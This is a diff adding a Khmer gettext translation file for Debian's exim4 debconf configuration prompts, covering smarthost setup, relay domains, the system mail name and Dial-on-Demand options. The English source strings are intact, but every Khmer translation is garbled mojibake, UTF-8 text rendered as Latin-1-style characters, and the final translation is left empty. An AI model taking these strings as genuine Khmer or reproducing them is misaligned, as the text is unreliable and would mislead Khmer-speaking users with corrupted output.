+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"ប្រសិន​បើ​ជម្រើស​នáŸáŸ‡â€‹áž˜áž·áž“​ážáŸ’រូវ​បាន​ជ្រើស ážážâ€‹áž áž»áž„​ážáŸ’រូវ​ážáŸ’រូវ​បាន​រក្សាទុក សារ​ដូច​ážáž¶áž„​ក្រោម​នáŸáŸ‡â€‹áž“ៅ​ក្នុងជួរ​ážáŸ’រូវ​បញ្ជូន​"
+"áž–áŸáž›áž€áŸ’រោយ​បន្ទាប់​ពី Exim ážáŸ’រូវ​បាន​ដំឡើង​ឡើង​វិញ ។"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ exim4-config ជំនួស​ឲ្យ​កញ្ចប់​នáŸáŸ‡"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 មាន​ការ​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​របស់វា បាន​ដាក់​ក្នុង​កញ្ចប់​ដែល​បាន​ផ្ដល់​ឲ្យ exim4-config ។ ដើម្បី​កំណážáŸ‹â€‹"
+"រចនាសម្ពáŸáž“្ធ Exim4 ប្រើ 'dpkg-reconfigure exim4-config' ។"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "ážáŸ†áž”ន់​អ៊ីនធឺណិហសំបុážáŸ’រ​ážáŸ’រូវ​បាន​ផ្ញើ​ និង​​ទទួល​​ដោយ​ប្រើ​ SMTP​ផ្ទាល់"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "សំបុážáŸ’រ​បាន​ផ្ញើ​​ដោយ​ smarthost បាន​ទទួល​ážáž¶áž˜â€‹ážšáž™áŸˆ SMTP ឬ fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "សំបុážáŸ’រ​បាន​ផ្ញើ​ដោយ smarthost គ្មាន​​សំបុážáŸ’រ​មូលដ្ឋាន​ទáŸâ€‹"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "បញ្ជូន​ážáŸ‚​មូលដ្ឋាន​ប៉ុណ្ណោះ មិនមែន​នៅលើ​បណ្ážáž¶áž‰â€‹áž‘áŸ"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "គ្មាន​ការ​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​នៅ​ពáŸáž›â€‹áž“áŸáŸ‡â€‹â€‹"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "ប្រភáŸáž‘​ទូទៅ​នៃ​ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​សំបុážáŸ’រ ៖"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "សូម​ជ្រើស​ប្រភáŸáž‘​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​ម៉ាស៊ីន​បម្រើ​សំបុážáŸ’ážš ដែល​ážáŸ’រូវ​នឹង​ážáž˜áŸ’រូវការ​របស់​អ្នក ។"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"ប្រពáŸáž“្ធ​ដែល​មាន​អាសយដ្ឋាន IP ážáž¶áž˜ážœáž“្ហរួមមាន​ប្រពáŸáž“្ធ​ទូសáŸáž–្ទ គួរ​ážáŸ’រូវ​បាន​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​ជា​ទូទៅ​ដើម្បី​ផ្ញើ​"
+"សំបុážáŸ’រ​ចáŸáž‰â€‹áž‘ៅ​ម៉ាស៊ីន​ផ្សáŸáž„ ដែល​គáŸâ€‹áž áŸ…ážáž¶ \"smarthost\" សម្រាប់​បញ្ជូន ពី​ព្រោះ​ប្រពáŸáž“្ធ​ទទួល​ជា​ច្រើន​នៅ​លើ​"
+"អ៊ីនធឺណិហទប់ស្កាážáŸ‹â€‹ážŸáŸ†áž”áž»ážáŸ’រ​ចូល​ពី​អាសយដ្ឋាន IP ážáž¶áž˜â€‹ážœáž“្ážáž‡áž¶â€‹áž€áž¶ážšâ€‹áž€áž¶ážšáž–ារ​សារ​ឥážâ€‹áž”ាន​ការ ។"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"ប្រពáŸáž“្ធ​មួយ​ដែល​មាន​អាសយដ្ឋាន IP ážáž¶áž˜ážœáž“្ážâ€‹áž¢áž¶áž…​ទទួល​សំបុážáŸ’រ​ផ្ទាល់​របស់​វា ឬ​ការបញ្ជូន​ក្នុង​មូលដ្ឋាន​អាច​ážáŸ’រូវ​បាន​"
+"បិទ​ទាំង​មូល (លើក​លែង​ážáŸ‚​សំបុážáŸ’រ​សម្រាប់ root áž“áž·áž„ postmaster) ។"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "áž–áž·ážâ€‹áž‡áž¶â€‹áž‘ុកឲ្យ​​ប្រពáŸáž“្ធ​សំបុážáŸ’រ​​​​មិនážáŸ’រូវ​​បាន​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​មែន​ទáŸÂ ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"ážšáž áž¼ážâ€‹ážŠáž›áŸ‹â€‹áž”្រពáŸáž“្ធ​សំបុážáŸ’រ​ážáŸ’រូវ​បាន​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ វានឹ​ងážáž¼áž… ហើយ​មិន​អាច​ážáŸ’រូវ​បាន​ប្រើ ។ ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​នៅ​"
+"áž–áŸáž›â€‹áž€áŸ’រោយ​អាច​ážáŸ’រូវ​បាន​ធ្វើ ឬដោយដៃ ឬដោយ​រážáŸ‹ 'dpkg-reconfigure exim4-config' \n"
+"ជា root ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "ឈ្មោះ​ប្រពáŸáž“្ធ​សំបុážáŸ’រ ៖"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"\"ឈ្មោះ​សំបុážáŸ’ážš\" គឺ​ជា​ឈ្មោះ​ដែន​ដែល​បាន​ប្រើ​ដើម្បី \"បញ្ជាក់​លក្ážážŽáŸˆ\" អាសយដ្ឋាន​អ៊ីមែល​ដោយ​គ្មាន​ឈ្មោះ​"
+"ដែន  ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"​ឈ្មោះ​នáŸáŸ‡â€‹áž“ឹង​ážáŸ’រូវ​បាន​ប្រើ​ផង​ដែរ​ដោយ​កម្មវិធី​ផ្សáŸáž„ ។ វា​គួរ​ážáŸ‚​មាន​ážáŸ‚មួយ ឈ្មោះ​ដែន​ដែល​បាន​បញ្ជាក់​លក្ážážŽáŸˆâ€‹"
+"áž–áŸáž‰áž›áŸáž‰ (FQDN) ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"ដូច្នáŸáŸ‡ ប្រសិន​បើ​អាសយដ្ឋាន​សំបុážáŸ’រ​នៅ​លើ​ម៉ាស៊ីន​មូលដ្ឋាន​គឺ foo@example.org ážáž˜áŸ’លៃ​ážáŸ’រឹមážáŸ’រូវ​សម្រាប់​ជម្រើស​"
+"áž“áŸáŸ‡â€‹áž“ឹង​ជា example.org ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"ឈ្មោះ​នáŸáŸ‡â€‹áž˜áž·áž“បង្ហាញ​​នៅ​លើ ពី នោះ​ទ០៖ បន្ទាážáŸ‹â€‹ážšáž”ស់​សារ​ចáŸáž‰â€‹áž”្រសិន​​បើ​កា​រសáŸážšážŸáŸážšâ€‹áž‡áž¶áž“់​ážáŸ’រូវ​បាន​អនុញ្ញាហ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "ទិសដៅ​ផ្សáŸáž„​ទៀហ​សម្រាប់​សំបុážáŸ’រ​ណា​មួយ​​​ážáŸ’រូវ​បាន​​ទទួល​យក ៖"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"សូម​បញ្ចូល​បញ្ជី​ដែន​អ្នក​ទទួល​ដែល​បំបែក​ដោយ​សញ្ញា(;) ដែល​ម៉ាស៊ីន​នáŸáŸ‡â€‹áž‚ួរ​ពិចារណាទិស​ដៅ​ចុង​ក្រោយ​ដោយ​ážáŸ’លួន​ឯង ។ "
+"ដែន​ទាំង​នáŸáŸ‡â€‹ážáž¶áž˜â€‹áž’ម្មážáž¶â€‹ážáŸ’រូវ​បាន​ហៅ​ážáž¶ 'ដែន​មូលដ្ឋាន' ។ ឈ្មោះ​ម៉ាស៊ីន​មូលដ្ឋាន (${fqdn}) áž“áž·áž„ "
+"'localhost' ážáŸ‚ង​ážáŸ‚​ážáŸ’រូវ​បាន​បន្ážáŸ‚ម​ទៅកាន់​បញ្ជី​ដែល​បានផ្ដល់​ឲ្យ​នៅ​ទីនáŸáŸ‡Â áŸ”។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"ážáž¶áž˜â€‹áž›áŸ†áž“ាំ​ដើម​ដែនមូលដ្ឋាន​នឹង​ážáŸ’រូវ​បាន​ធ្វើ​យ៉ាង​ដូចគ្នា​បះបិទ ។ ប្រសិន​បើ​ទាំងពីរ a.example áž“áž·áž„ b."
+"example គឺជា​ដែន​មូលដ្ឋាន acc@a.example áž“áž·áž„ acc@b.example នឹង​ážáŸ’រូវ​បាន​ផ្ដល់​ទៅ​ទិសដៅ​ចុង​ក្រោយ​"
+"ដូចគ្នា ។ ប្រសិន​បើ​ឈ្មោះ​ដែន​ážáž»ážŸáž‚្នា​គួរ​ážáŸ’រូវ​បាន​ធ្វើ​យ៉ាង​ដូចគ្នា​បះបិទ បន្ទាប់​មក​វា​ចាំបាច់​ážáŸ’រូវ​កែសម្រួល​"
+"ឯកសារ config ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "ដែន​ážáŸ’រូវ​បញ្ជូន​សំបុážáŸ’រ​​ážážŸáž˜áŸ’រាប់ ៖"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"សូម​បញ្ចូល​បញ្ជី​ដែន​អ្នក​ទទួល​ដែល​បំបែក​ដោយ​សញ្ញា(;) សម្រាប់​ប្រពáŸáž“្ធ​នáŸáŸ‡â€‹ážŠáŸ‚ល​នឹង​បញ្ជូន​សំបុážáŸ’រ​បន្ហឧទាហរណáŸâ€‹áž‡áž¶â€‹áž…្រក​"
+"áž…áŸáž‰â€‹áž…ូល MX ឬ​សំបុážáŸ’រ ។ áž“áŸáŸ‡â€‹áž˜áž¶áž“​នáŸáž™â€‹ážáž¶â€‹áž”្រពáŸáž“្ធ​នáŸáŸ‡â€‹áž“ឹង​ទទួល​សំបុážáŸ’រ​សម្រាប់​ដែន​ទាំង​នáŸáŸ‡â€‹áž–ី​កន្លែង​ណា​មួយ​នៅ​លើ "
+"អ៊ីនធឹណិហនិង​បញ្ចូន​ពួក​វា​ដោយ​យោង​ážáž¶áž˜â€‹áž…្បាប់​បញ្ចូន​មូលដ្ឋាន ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "កុំ​ពិពណ៌នា​ដែន​មូលដ្ឋាន​នៅ​ទីនáŸáŸ‡Â áŸ” ážáž½áž¢áž€áŸ’សរ​ជំនួស​អាច​ážáŸ’រូវ​បាន​ប្រើ ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "ម៉ាស៊ីន​ážáŸ’រូវ​បញ្ជូន​​សំបុážáŸ’រ​ážâ€‹ážŸáž˜áŸ’រាប់ ៖"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"សូម​បញ្ចូល​បញ្ជី​ជួ​​រអាសយដ្ឋាន IP ដែល​បំបែក​ដោយ​សញ្ញា(;) ដែល​ប្រពáŸáž“្ធ​នáŸáŸ‡â€‹áž“ឹង​បញ្ជូន​សំបុážáŸ’ážšážâ€‹ážŠáŸ„យ​បង្ážáŸ† ដោយ​មាន​"
+"មុážáž„ារ​ជា smarthost ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"អ្នក​គួរ​ážáŸ‚​ប្រើ​អាសយដ្ឋាន​ស្ážáž„់ដា/ទ្រង់ទ្រាយ​បុព្វបទ (ឧ. 194.222.242.0/24 ឬ "
+"5f03:1200:836f::/48) ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr "ប្រសិន​បើ​ប្រពáŸáž“្ធ​មិនគួរ​ជា smarthost សម្រាប់​ម៉ាស៊ីន​ផ្សáŸáž„ៗ​ទៀហទុក​បញ្ជី​នáŸáŸ‡â€‹áž²áŸ’យ​ទទáŸÂ áŸ”"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "ឈ្មោះ​ដែន​ដែល​មើល​ឃើញ ​​សម្រាប់​អ្នក​ប្រើ​មូលដ្ឋាន ៖"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"ជម្រើស​ážáŸ’រូវ​លាក់​ឈ្មោះ​សំបុážáŸ’រ​មូលដ្ឋាន​នៅ​ក្នុង​សំបុážáŸ’រ​ចáŸáž‰â€‹ážáŸ’រូវ​បាន​បើក ។ ដូច្នáŸáŸ‡â€‹ážœáž¶â€‹áž…ាំបាច់​ážáŸ’រូវ​បញ្ជាក់​ឈ្មោះ​ដែន​"
+"ប្រពáŸáž“្ធ​នáŸáŸ‡ គួរ​ប្រើ​សម្រាប់​ផ្នែក​ដែន​នៃ​អាសយដ្ឋាន​អ្នក ផ្ញើ​របស់​អ្នក​ប្រើ​មូលដ្ឋាន ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "អាសយដ្ឋាន IP ឬ​ឈ្មោះ​ម៉ាស៊ីន​របស់ smarthost áž…áŸáž‰Â áŸ–"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"សូម​បញ្ចូល​អាសយដ្ឋាន IP ឬ​ឈ្មោះ​ម៉ាស៊ីន​របស់​ម៉ាស៊ីន​បម្រើ​សំបុážáŸ’រ​ដែល​ប្រពáŸáž“្ធនáŸáŸ‡â€‹áž‚ួរ​ប្រើ​ជា smarthost áž…áŸáž‰Â áŸ” "
+"ប្រសិន​បើ smarthost ទទួល​ážáŸ‚​សំបុážáŸ’រ​របស់​អ្នក​ប៉ុណ្ណោះ​នៅ​ច្រក​មួយ​ផ្សáŸáž„​ពី TCP/25 បន្ážáŸ‚ម​ážáž¶áž„​ចុង​ទៅ​សញ្ញា "
+"(:) និង​លáŸážâ€‹áž…្រក (ឧទាហរណ០smarthost.example::587 ឬ 192.168.254.254::2525) ។ សញ្ញា "
+"(:) នៅ​ក្នុង​អាសយដ្ឋាន IPv6 ážáŸ’រូវážáŸ‚​ដាក់​ទ្វáŸážšÂ áŸ”"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"ប្រសិនបើ​ smarthost ážáŸ’រូវការ​ការ​ផ្ទៀងផ្ទាážáŸ‹â€‹áž—ាព​ážáŸ’រឹមážáŸ’រូវ សូម​យោង​ážáž¶áž˜â€‹áž¯áž€ážŸáž¶ážšâ€‹ README ជាក់លាក់​របស់​"
+"ដáŸáž”ៀន​នៅ​ក្នុង /usr/share/doc/exim4-base សម្រាប់​ចំណាំ​អំពីការ​រៀបចំ​ការ​ផ្ទៀងផ្ទាážáŸ‹â€‹áž—ាព​ážáŸ’រឹមážáŸ’រូវ​"
+"របស់ SMTP ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Root​ និង​អ្នក​គ្រប់គ្រង​ប្រៃសណីយáŸâ€‹áž‡áž¶â€‹â€‹áž¢áŸ’នក​ទទួល​សំបុážáŸ’រ ៖"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"សំបុážáŸ’រ​សម្រាប់ \"postmaster\" \"root\" និង​គណនី​ប្រពáŸáž“្ធ​ផ្សáŸáž„ៗ​ទៀážâ€‹ážáž˜áŸ’រូវ​ឲ្យ​ប្ដូរ​ទិស​ទៅ​គណនី​អ្នក​​ប្រើ​របស់​"
+"អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​ជាក់ស្ដែង ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"ប្រសិន​បើ​ážáž˜áŸ’លៃ​នáŸáŸ‡â€‹áž“ៅ​ážáŸ‚​ទទ០សំបុážáŸ’រ​បែប​នáŸáŸ‡â€‹áž“ឹង​ážáŸ’រូវ​បាន​រក្សា​ទុក​ក្នុង /var/mail/mail ដែល​មិន​ážáŸ’រូវ​បាន​"
+"ផ្ដល់​អនុសាសនáŸÂ áŸ”"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"ចំណាំážáž¶ ​សំបុážáŸ’រ​របស់ postmaster គួរ​ážáŸ’រូវ​បាន​អាន​នៅ​ក្នុង​ប្រពáŸáž“្ធ ដែល​វា​ážáŸ’រូវ​បាន​ážáŸ’ážšáž½ážážáŸ’រា ប្រសើ​ជាង​ការ​"
+"បញ្ជូន​បន្ážâ€‹áž‘ៅ​កន្លែង​ផ្សáŸáž„ ដូច្នáŸáŸ‡ (យ៉ាងហោច​ណាស់​) អ្នក​ប្រើ​បាន​រាយ​នៅ​ទីនáŸáŸ‡ មិន​គួរ​បញ្ជូន​សំបុážáŸ’រ​របស់​ពួក​វា​"
+"áž…áŸáž‰â€‹áž‘ៅ​ម៉ាស៊ីន​នáŸáŸ‡â€‹áž‘áŸÂ áŸ” បុព្វបទ \"real-\" អាច​ážáŸ’រូវ​បាន​ប្រើ​ដើម្បី​បង្ážáŸ†â€‹áž€áž¶ážšâ€‹áž”ញ្ជូន​មូលដ្ឋាន ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "ឈ្មោះ​អ្នក​ប្រើ​ច្រើន​ážáŸ’រូវ​ážáŸ‚​បំបែក​ដោយ​ចន្លោះ ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "អាសយដ្ឋាន IP​ ážáŸ’រូវ​ស្ážáž¶áž”់​​សម្រាប់​ការ​ážáž—្ជាប់​​ SMTP ​ចូល ៖"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"សូម​បញ្ចូល​បញ្ជី​របស់​អាសយដ្ឋាន IP ។ ដáŸáž˜áž·áž“​អ្នក​ស្ដាប់​របស់ Exim SMTP នឹង​ស្ដាប់​នៅ​ពáŸáž›â€‹áž¢áž¶ážŸáž™ážŠáŸ’ឋាន IP ទាំង​"
+"អស់​ážáŸ’រូវ​បាន​រាយ​នៅ​ទីនáŸáŸ‡Â áŸ”"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"ážáž˜áŸ’លៃ​ទទáŸâ€‹áž˜áž½áž™â€‹áž“ឹង​បណ្ដាល​ឲ្យ Exim ážáŸ’រូវ​ស្ដាប់​ដើម្បី​ážáž—្ជាប់​នៅ​ពáŸáž›â€‹áž…ំណុច​ប្រទាក់​បណ្ដាញ​ទាំងអស់​អាច​ប្រើ​បាន ។"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"ប្រសិន​បើ​ប្រពáŸáž“្ធ​ពិážâ€‹áž‡áž¶â€‹áž‘ទួល​ážáŸ‚​អ៊ីមែល​ដោយ​ផ្ទាល់​ពី​សáŸážœáž¶â€‹áž˜áž¼áž›ážŠáŸ’ឋាន ដូចជា​ទាញយក​សំបុážáŸ’ážš ឬ​កម្មវិធី​អ៊ីមែល​របស់​អ្នក "
+"(MUA) ដោយ​និយាយ​ទៅ​កាន់​ម៉ាស៊ីនមូលដ្ឋាន (ហើយ​មិន​បាន​មក​ពី​ម៉ាស៊ីន​ផ្សáŸáž„áž‘áŸ) វា​អាចផ្ដល់​គំនិážâ€‹ážŠáž¾áž˜áŸ’បី​ការពារ​ការ​"
+"ážáž—្ជាប់​ážáž¶áž„​ក្រៅ​ទៅ Exim មូល​ដ្ឋាន ។ áž“áŸáŸ‡â€‹áž¢áž¶áž…​ážáŸ’រូវ​បាន​អម​ដោយ​បញ្ចូល 127.0.0.1 នៅ​ទីនáŸáŸ‡Â áŸ” វា​នឹង​បិទ​"
+"ការ​ស្ដាប់​ចំណុច​ប្រទាក់​បណ្ដាញ​សាធារណៈ ។"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "រក្សាទុក​​ចំនួន​​​សំណួរ​ DNS អប្បបរមា (Dial-on-Demand) ឬ​ ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"នៅ​ក្នុង​របៀប​ធម្មážáž¶â€‹áž“ៃ​ប្រážáž·áž”ážáŸ’ážáž· Exim ážáž¾ DNS ស្វែងរក​នៅ​ពáŸáž›â€‹áž…ាប់ផ្ដើម ហើយ​នៅ​ពáŸáž›â€‹áž‘ទួល ឬបញ្ជូន​សារ ។ "
+"áž“áŸáŸ‡â€‹ážŸáž˜áŸ’រាប់​ចូល និង​អនុញ្ញាážâ€‹ážšáž€áŸ’សា​លáŸážâ€‹áž“ៃ​ážáž˜áŸ’លៃ​ជាក់លាក់​នៅ​ក្នុង​ការ​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ ។"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"ប្រសិន​បើ​ប្រពáŸáž“្ធ​នáŸáŸ‡â€‹áž˜áž·áž“មាន DNS កម្មវិធី​ដោះ​ស្រាយ​សáŸážœáž¶â€‹áž–áŸáž‰áž›áŸáž‰â€‹áž¢áž¶áž…​ប្រើ​បាន​គ្រប់​ពáŸáž› (ឧទាហរណ០ប្រសិន​"
+"បើការ​ចូល​ដំណើរ​ការ​អ៊ីនធឺណិážâ€‹áž‚ឺ​ážáž¶áž˜â€‹ážáŸ’សែ​ទូរសáŸáž–្ទ​ដោយ​ប្រើ​ពាក្យ​បញ្ជា dial-on-) áž“áŸáŸ‡â€‹áž¢áž¶áž…​មិន​ចង់​បាន​ážáž¶áž˜â€‹"
+"លំដាប់ ។ ឧទាហរណ០នៅ​ពáŸáž›â€‹áž…ាប់ផ្ដើម Exim ឬ ážšážáŸ‹áž‡áž½ážš (សូម្បី​ážáŸ‚​គ្មាន​សារ​រង់​ចាំ​កáŸážŠáŸ„áž™) អាច​កáŸáŸ‡â€‹áž–្រឹážáŸ’ážáž·áž€áž¶ážšážŽáŸâ€‹"
+"ážážáž¶áž˜â€‹ážáŸ’សែ​ទូរសáŸáž–្ទ​ដáŸâ€‹áž˜áž¶áž“​ážáž˜áŸ’លៃ ។"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
